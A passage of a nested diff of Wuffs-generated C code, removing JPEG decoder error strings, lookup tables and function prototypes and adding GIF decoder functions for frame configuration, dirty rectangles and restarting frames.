wuffs_jpeg__error__bad_marker[] = "#jpeg: bad marker"; +-const char wuffs_jpeg__error__missing_huffman_table[] = "#jpeg: missing Huffman table"; +-const char wuffs_jpeg__error__missing_quantization_table[] = "#jpeg: missing Quantization table"; +-const char wuffs_jpeg__error__truncated_input[] = "#jpeg: truncated input"; +-const char wuffs_jpeg__error__unsupported_arithmetic_coding[] = "#jpeg: unsupported arithmetic coding"; +-const char wuffs_jpeg__error__unsupported_color_model[] = "#jpeg: unsupported color model"; +-const char wuffs_jpeg__error__unsupported_fractional_sampling[] = "#jpeg: unsupported fractional sampling"; +-const char wuffs_jpeg__error__unsupported_hierarchical_coding[] = "#jpeg: unsupported hierarchical coding"; +-const char wuffs_jpeg__error__unsupported_implicit_height[] = "#jpeg: unsupported implicit height"; +-const char wuffs_jpeg__error__unsupported_lossless_coding[] = "#jpeg: unsupported lossless coding"; +-const char wuffs_jpeg__error__unsupported_marker[] = "#jpeg: unsupported marker"; +-const char wuffs_jpeg__error__unsupported_precision_12_bits[] = "#jpeg: unsupported precision (12 bits)"; +-const char wuffs_jpeg__error__unsupported_precision_16_bits[] = "#jpeg: unsupported precision (16 bits)"; +-const char wuffs_jpeg__error__unsupported_precision[] = "#jpeg: unsupported precision"; +-const char wuffs_jpeg__error__unsupported_scan_count[] = "#jpeg: unsupported scan count"; +-const char wuffs_jpeg__error__internal_error_inconsistent_decoder_state[] = "#jpeg: internal error: inconsistent decoder state"; ++ if (self->private_impl.f_seen_num_animation_loops_value) { ++ return self->private_impl.f_num_animation_loops_value; ++ } ++ if (self->private_impl.f_num_decoded_frame_configs_value > 1u) { ++ return 1u; ++ } ++ return 0u; ++} + +-// ---------------- Private Consts ++// -------- func gif.decoder.num_decoded_frame_configs + +-static const uint8_t +-WUFFS_JPEG__UNZIG[80] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 0, 1, 8, 16, 9, 2, 3, +- 10, 17, 24, 32, 25, 18, 11, 4, +- 5, 12, 19, 26, 33, 40, 48, 41, +- 34, 27, 20, 13, 6, 7, 14, 21, +- 28, 35, 42, 49, 56, 57, 50, 43, +- 36, 29, 22, 15, 23, 30, 37, 44, +- 51, 58, 59, 52, 45, 38, 31, 39, +- 46, 53, 60, 61, 54, 47, 55, 62, +- 63, 63, 63, 63, 63, 63, 63, 63, +- 63, 63, 63, 63, 63, 63, 63, 63, +-}; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_gif__decoder__num_decoded_frame_configs( ++ const wuffs_gif__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +-static const uint8_t +-WUFFS_JPEG__BIAS_AND_CLAMP[1024] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 128, 129, 130, 131, 132, 133, 134, 135, +- 136, 137, 138, 139, 140, 141, 142, 143, +- 144, 145, 146, 147, 148, 149, 150, 151, +- 152, 153, 154, 155, 156, 157, 158, 159, +- 160, 161, 162, 163, 164, 165, 166, 167, +- 168, 169, 170, 171, 172, 173, 174, 175, +- 176, 177, 178, 179, 180, 181, 182, 183, +- 184, 185, 186, 187, 188, 189, 190, 191, +- 192, 193, 194, 195, 196, 197, 198, 199, +- 200, 201, 202, 203, 204, 205, 206, 207, +- 208, 209, 210, 211, 212, 213, 214, 215, +- 216, 217, 218, 219, 220, 221, 222, 223, +- 224, 225, 226, 227, 228, 229, 230, 231, +- 232, 233, 234, 235, 236, 237, 238, 239, +- 240, 241, 242, 243, 244, 245, 246, 247, +- 248, 249, 250, 251, 252, 253, 254, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 1, 2, 3, 4, 5, 6, 7, +- 8, 9, 10, 11, 12, 13, 14, 15, +- 16, 17, 18, 19, 20, 21, 22, 23, +- 24, 25, 26, 27, 28, 29, 30, 31, +- 32, 33, 34, 35, 36, 37, 38, 39, +- 40, 41, 42, 43, 44, 45, 46, 47, +- 48, 49, 50, 51, 52, 53, 54, 55, +- 56, 57, 58, 59, 60, 61, 62, 63, +- 64, 65, 66, 67, 68, 69, 70, 71, +- 72, 73, 74, 75, 76, 77, 78, 79, +- 80, 81, 82, 83, 84, 85, 86, 87, +- 88, 89, 90, 91, 92, 93, 94, 95, +- 96, 97, 98, 99, 100, 101, 102, 103, +- 104, 105, 106, 107, 108, 109, 110, 111, +- 112, 113, 114, 115, 116, 117, 118, 119, +- 120, 121, 122, 123, 124, 125, 126, 127, +-}; ++ return self->private_impl.f_num_decoded_frame_configs_value; ++} + +-static const uint16_t +-WUFFS_JPEG__EXTEND[16] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 65535, 65533, 65529, 65521, 65505, 65473, 65409, +- 65281, 65025, 64513, 63489, 61441, 57345, 49153, 32769, +-}; ++// -------- func gif.decoder.num_decoded_frames + +-static const uint8_t +-WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_LUMA[29] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 0, 1, 5, 1, 1, 1, 1, +- 1, 1, 0, 0, 0, 0, 0, 0, +- 0, 0, 1, 2, 3, 4, 5, 6, +- 7, 8, 9, 10, 11, +-}; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_gif__decoder__num_decoded_frames( ++ const wuffs_gif__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +-static const uint8_t +-WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_CHROMA[29] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 1, 0, 3, 1, 1, 1, 1, 1, +- 1, 1, 1, 1, 0, 0, 0, 0, +- 0, 0, 1, 2, 3, 4, 5, 6, +- 7, 8, 9, 10, 11, +-}; ++ return self->private_impl.f_num_decoded_frames_value; ++} + +-static const uint8_t +-WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_LUMA[179] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 16, 0, 2, 1, 3, 3, 2, 4, +- 3, 5, 5, 4, 4, 0, 0, 1, +- 125, 1, 2, 3, 0, 4, 17, 5, +- 18, 33, 49, 65, 6, 19, 81, 97, +- 7, 34, 113, 20, 50, 129, 145, 161, +- 8, 35, 66, 177, 193, 21, 82, 209, +- 240, 36, 51, 98, 114, 130, 9, 10, +- 22, 23, 24, 25, 26, 37, 38, 39, +- 40, 41, 42, 52, 53, 54, 55, 56, +- 57, 58, 67, 68, 69, 70, 71, 72, +- 73, 74, 83, 84, 85, 86, 87, 88, +- 89, 90, 99, 100, 101, 102, 103, 104, +- 105, 106, 115, 116, 117, 118, 119, 120, +- 121, 122, 131, 132, 133, 134, 135, 136, +- 137, 138, 146, 147, 148, 149, 150, 151, +- 152, 153, 154, 162, 163, 164, 165, 166, +- 167, 168, 169, 170, 178, 179, 180, 181, +- 182, 183, 184, 185, 186, 194, 195, 196, +- 197, 198, 199, 200, 201, 202, 210, 211, +- 212, 213, 214, 215, 216, 217, 218, 225, +- 226, 227, 228, 229, 230, 231, 232, 233, +- 234, 241, 242, 243, 244, 245, 246, 247, +- 248, 249, 250, +-}; ++// -------- func gif.decoder.frame_dirty_rect + +-static const uint8_t +-WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_CHROMA[179] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 17, 0, 2, 1, 2, 4, 4, 3, +- 4, 7, 5, 4, 4, 0, 1, 2, +- 119, 0, 1, 2, 3, 17, 4, 5, +- 33, 49, 6, 18, 65, 81, 7, 97, +- 113, 19, 34, 50, 129, 8, 20, 66, +- 145, 161, 177, 193, 9, 35, 51, 82, +- 240, 21, 98, 114, 209, 10, 22, 36, +- 52, 225, 37, 241, 23, 24, 25, 26, +- 38, 39, 40, 41, 42, 53, 54, 55, +- 56, 57, 58, 67, 68, 69, 70, 71, +- 72, 73, 74, 83, 84, 85, 86, 87, +- 88, 89, 90, 99, 100, 101, 102, 103, +- 104, 105, 106, 115, 116, 117, 118, 119, +- 120, 121, 122, 130, 131, 132, 133, 134, +- 135, 136, 137, 138, 146, 147, 148, 149, +- 150, 151, 152, 153, 154, 162, 163, 164, +- 165, 166, 167, 168, 169, 170, 178, 179, +- 180, 181, 182, 183, 184, 185, 186, 194, +- 195, 196, 197, 198, 199, 200, 201, 202, +- 210, 211, 212, 213, 214, 215, 216, 217, +- 218, 226, 227, 228, 229, 230, 231, 232, +- 233, 234, 242, 243, 244, 245, 246, 247, +- 248, 249, 250, +-}; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_gif__decoder__frame_dirty_rect( ++ const wuffs_gif__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } + +-// ---------------- Private Initializer Prototypes ++ return wuffs_base__utility__make_rect_ie_u32( ++ wuffs_base__u32__min(self->private_impl.f_frame_rect_x0, self->private_impl.f_width), ++ wuffs_base__u32__min(self->private_impl.f_frame_rect_y0, self->private_impl.f_height), ++ wuffs_base__u32__min(self->private_impl.f_frame_rect_x1, self->private_impl.f_width), ++ wuffs_base__u32__min(self->private_impl.f_dirty_max_excl_y, self->private_impl.f_height)); ++} + +-// ---------------- Private Function Prototypes ++// -------- func gif.decoder.workbuf_len + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__decode_idct( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_dst_buffer, +- uint64_t a_dst_stride, +- uint32_t a_q); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_gif__decoder__workbuf_len( ++ const wuffs_gif__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__decode_idct__choosy_default( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_dst_buffer, +- uint64_t a_dst_stride, +- uint32_t a_q); ++ return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++} + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__decode_idct_x86_avx2( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_dst_buffer, +- uint64_t a_dst_stride, +- uint32_t a_q); +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_64) ++// -------- func gif.decoder.restart_frame + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__do_decode_image_config( +- wuffs_jpeg__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_gif__decoder__restart_frame( ++ wuffs_gif__decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__decode_dqt( +- wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src); ++ if (self->private_impl.f_call_sequence < 32u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ } else if (a_io_position == 0u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ self->private_impl.f_delayed_num_decoded_frames = false; ++ self->private_impl.f_frame_config_io_position = a_io_position; ++ self->private_impl.f_num_decoded_frame_configs_value = a_index; ++ self->private_impl.f_num_decoded_frames_value = a_index; ++ wuffs_gif__decoder__reset_gc(self); ++ self->private_impl.f_call_sequence = 40u; ++ return wuffs_base__make_status(NULL); ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__decode_dri( +- wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src); ++// -------- func gif.decoder.decode_frame_config + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__decode_appn( +- wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src, +- uint8_t a_marker); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_gif__decoder__decode_frame_config( ++ wuffs_gif__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 3)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__decode_sof( +- wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src); ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__quantize_dimension( +- const wuffs_jpeg__decoder* self, +- uint32_t a_width, +- uint8_t a_h, +- uint8_t a_max_incl_h); ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__do_decode_frame_config( +- wuffs_jpeg__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src); ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_gif__decoder__do_decode_frame_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_gif__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__do_decode_frame( +- wuffs_jpeg__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts); ++ ok: ++ self->private_impl.p_decode_frame_config = 0; ++ goto exit; ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__decode_dht( +- wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src); ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; + +-WUFFS_BASE__GENERATED_C_CODE +-static bool +-wuffs_jpeg__decoder__calculate_huff_tables( +- wuffs_jpeg__decoder* self, +- uint8_t a_tc4_th, +- uint32_t a_total_count); ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__decode_sos( +- wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf); ++// -------- func gif.decoder.do_decode_frame_config + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_jpeg__decoder__prepare_scan( +- wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src); ++wuffs_gif__decoder__do_decode_frame_config( ++ wuffs_gif__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__use_default_huffman_table( +- wuffs_jpeg__decoder* self, +- uint8_t a_tc4_th); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__calculate_single_component_scan_fields( +- wuffs_jpeg__decoder* self); ++ uint32_t v_background_color = 0; ++ uint8_t v_flags = 0; + +-WUFFS_BASE__GENERATED_C_CODE +-static bool +-wuffs_jpeg__decoder__calculate_multiple_component_scan_fields( +- wuffs_jpeg__decoder* self); ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__fill_bitstream( +- wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src); ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; ++ if (coro_susp_point) { ++ v_background_color = self->private_data.s_do_decode_frame_config.v_background_color; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__load_mcu_blocks_for_single_component( +- wuffs_jpeg__decoder* self, +- uint32_t a_mx, +- uint32_t a_my, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_csel); ++ self->private_impl.f_dirty_max_excl_y = 0u; ++ if (((uint8_t)(self->private_impl.f_call_sequence & 16u)) != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } else if (self->private_impl.f_call_sequence == 32u) { ++ } else if (self->private_impl.f_call_sequence < 32u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_gif__decoder__do_decode_image_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else if (self->private_impl.f_call_sequence == 40u) { ++ if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_restart); ++ goto exit; ++ } ++ } else if (self->private_impl.f_call_sequence == 64u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ status = wuffs_gif__decoder__skip_frame(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (self->private_impl.f_call_sequence >= 96u) { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ if ((self->private_impl.f_num_decoded_frame_configs_value > 0u) || (self->private_impl.f_call_sequence == 40u)) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_gif__decoder__decode_up_to_id_part1(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (self->private_impl.f_call_sequence >= 96u) { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ } ++ v_background_color = self->private_impl.f_black_color_u32_argb_premul; ++ if ( ! self->private_impl.f_gc_has_transparent_index) { ++ v_background_color = self->private_impl.f_background_color_u32_argb_premul; ++ if (self->private_impl.f_quirks[1u] && (self->private_impl.f_num_decoded_frame_configs_value == 0u)) { ++ while (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); ++ } ++ v_flags = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ if (((uint8_t)(v_flags & 128u)) != 0u) { ++ v_background_color = self->private_impl.f_black_color_u32_argb_premul; ++ } ++ } ++ } ++ if (a_dst != NULL) { ++ wuffs_base__frame_config__set( ++ a_dst, ++ wuffs_base__utility__make_rect_ie_u32( ++ wuffs_base__u32__min(self->private_impl.f_frame_rect_x0, self->private_impl.f_width), ++ wuffs_base__u32__min(self->private_impl.f_frame_rect_y0, self->private_impl.f_height), ++ wuffs_base__u32__min(self->private_impl.f_frame_rect_x1, self->private_impl.f_width), ++ wuffs_base__u32__min(self->private_impl.f_frame_rect_y1, self->private_impl.f_height)), ++ ((wuffs_base__flicks)(self->private_impl.f_gc_duration)), ++ self->private_impl.f_num_decoded_frame_configs_value, ++ self->private_impl.f_frame_config_io_position, ++ self->private_impl.f_gc_disposal, ++ ! self->private_impl.f_gc_has_transparent_index, ++ false, ++ v_background_color); ++ } ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frame_configs_value, 1u); ++ self->private_impl.f_call_sequence = 64u; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__load_mcu_blocks_for_single_component__choosy_default( +- wuffs_jpeg__decoder* self, +- uint32_t a_mx, +- uint32_t a_my, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_csel); ++ ok: ++ self->private_impl.p_do_decode_frame_config = 0; ++ goto exit; ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__load_mcu_blocks( +- wuffs_jpeg__decoder* self, +- uint32_t a_mx, +- uint32_t a_my, +- wuffs_base__slice_u8 a_workbuf); ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_decode_frame_config.v_background_color = v_background_color; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__save_mcu_blocks( +- wuffs_jpeg__decoder* self, +- uint32_t a_mx, +- uint32_t a_my, +- wuffs_base__slice_u8 a_workbuf); ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__skip_past_the_next_restart_marker( +- wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src); ++ return status; ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__apply_progressive_idct( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 